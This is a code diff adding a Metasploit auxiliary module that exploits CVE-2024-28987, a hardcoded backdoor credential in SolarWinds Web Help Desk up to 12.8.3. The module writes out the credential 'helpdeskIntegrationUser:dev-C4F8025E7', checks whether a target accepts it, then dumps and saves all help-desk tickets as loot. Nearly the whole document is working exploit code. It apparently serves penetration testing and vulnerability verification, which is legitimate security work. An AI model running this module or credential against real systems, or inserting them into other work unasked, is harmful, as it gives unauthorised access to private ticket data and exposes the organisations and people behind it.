|
| 1 | +class MetasploitModule < Msf::Auxiliary |
| 2 | + include Msf::Exploit::Remote::HttpClient |
| 3 | + include Msf::Auxiliary::Report |
| 4 | + prepend Msf::Exploit::Remote::AutoCheck |
| 5 | + CheckCode = Exploit::CheckCode |
| 6 | + |
| 7 | + def initialize(info = {}) |
| 8 | + super( |
| 9 | + update_info( |
| 10 | + info, |
| 11 | + 'Name' => 'SolarWinds Web Help Desk Backdoor (CVE-2024-28987)', |
| 12 | + 'Description' => %q{ |
| 13 | + This module exploits a backdoor in SolarWinds Web Help Desk <= v12.8.3 to retrieve all tickets from the system. |
| 14 | + }, |
| 15 | + 'Author' => [ |
| 16 | + 'Michael Heinzl', # MSF Module |
| 17 | + 'Zach Hanley' # Discovery & PoC |
| 18 | + ], |
| 19 | + 'License' => MSF_LICENSE, |
| 20 | + 'References' => [ |
| 21 | + ['CVE', '2024-28987'], |
| 22 | + ['URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28987'], |
| 23 | + ['URL', 'https://support.solarwinds.com/SuccessCenter/s/article/SolarWinds-Web-Help-Desk-12-8-3-Hotfix-2'], |
| 24 | + ['URL', 'https://www.horizon3.ai/attack-research/cve-2024-28987-solarwinds-web-help-desk-hardcoded-credential-vulnerability-deep-dive/'], |
| 25 | + ], |
| 26 | + 'DisclosureDate' => '2024-08-22', |
| 27 | + 'DefaultOptions' => { |
| 28 | + 'RPORT' => 8443, |
| 29 | + 'SSL' => 'True' |
| 30 | + }, |
| 31 | + 'Notes' => { |
| 32 | + 'Stability' => [CRASH_SAFE], |
| 33 | + 'Reliability' => [], |
| 34 | + 'SideEffects' => [IOC_IN_LOGS] |
| 35 | + } |
| 36 | + ) |
| 37 | + ) |
| 38 | + |
| 39 | + register_options( |
| 40 | + [ |
| 41 | + OptString.new('TARGETURI', [true, 'The base path for Web Help Desk', '/']), |
| 42 | + OptInt.new('TICKET_COUNT', [false, 'The number of tickets to dump', 10]) |
| 43 | + ] |
| 44 | + ) |
| 45 | + end |
| 46 | + |
| 47 | + def check |
| 48 | + @auth = auth |
| 49 | + return CheckCode::Unknown('Target is unreachable') unless @auth |
| 50 | + |
| 51 | + if @auth.code == 401 |
| 52 | + return CheckCode::Safe |
| 53 | + elsif @auth.code == 200 |
| 54 | + return CheckCode::Appears |
| 55 | + end |
| 56 | + |
| 57 | + CheckCode::Unknown |
| 58 | + end |
| 59 | + |
| 60 | + def auth |
| 61 | + send_request_cgi( |
| 62 | + 'method' => 'GET', |
| 63 | + 'uri' => normalize_uri(target_uri.path, 'helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets'), |
| 64 | + 'headers' => { |
| 65 | + 'Authorization' => 'Basic ' + Rex::Text.encode_base64('helpdeskIntegrationUser:dev-C4F8025E7') |
| 66 | + } |
| 67 | + ) |
| 68 | + end |
| 69 | + |
| 70 | + def run |
| 71 | + print_status('Authenticating with the backdoor account "helpdeskIntegrationUser"...') |
| 72 | + @auth ||= auth |
| 73 | + fail_with(Failure::Unknown, 'Target is unreachable') unless @auth |
| 74 | + |
| 75 | + jbody = @auth.get_json_document |
| 76 | + fail_with(Failure::UnexpectedReply, 'Unexpected Reply: ' + @auth.to_s) unless jbody.any? { |item| item.is_a?(Hash) && item.key?('shortSubject') } |
| 77 | + |
| 78 | + report_service( |
| 79 | + host: rhost, |
| 80 | + port: rport, |
| 81 | + proto: 'tcp', |
| 82 | + name: 'SolarWinds Web Help Desk' |
| 83 | + ) |
| 84 | + |
| 85 | + print_good("Successfully authenticated and tickets retrieved. Displaying the first #{datastore['TICKET_COUNT']} tickets retrieved:") |
| 86 | + tickets_to_display = jbody.first(datastore['TICKET_COUNT']) |
| 87 | + print_good(JSON.pretty_generate(tickets_to_display)) |
| 88 | + |
| 89 | + file = store_loot('solarwinds_webhelpdesk.json', 'text/json', datastore['USER'], jbody) |
| 90 | + print_good("Saved #{jbody.length} tickets to #{file}") |
| 91 | + |
| 92 | + report_vuln( |
| 93 | + host: rhost, |
| 94 | + port: rport, |
| 95 | + name: name, |
| 96 | + refs: references, |
| 97 | + info: 'The backdoor helpdeskIntegrationUser:dev-C4F8025E7 works.' |
| 98 | + ) |
| 99 | + end |
| 100 | +end |
0 commit comments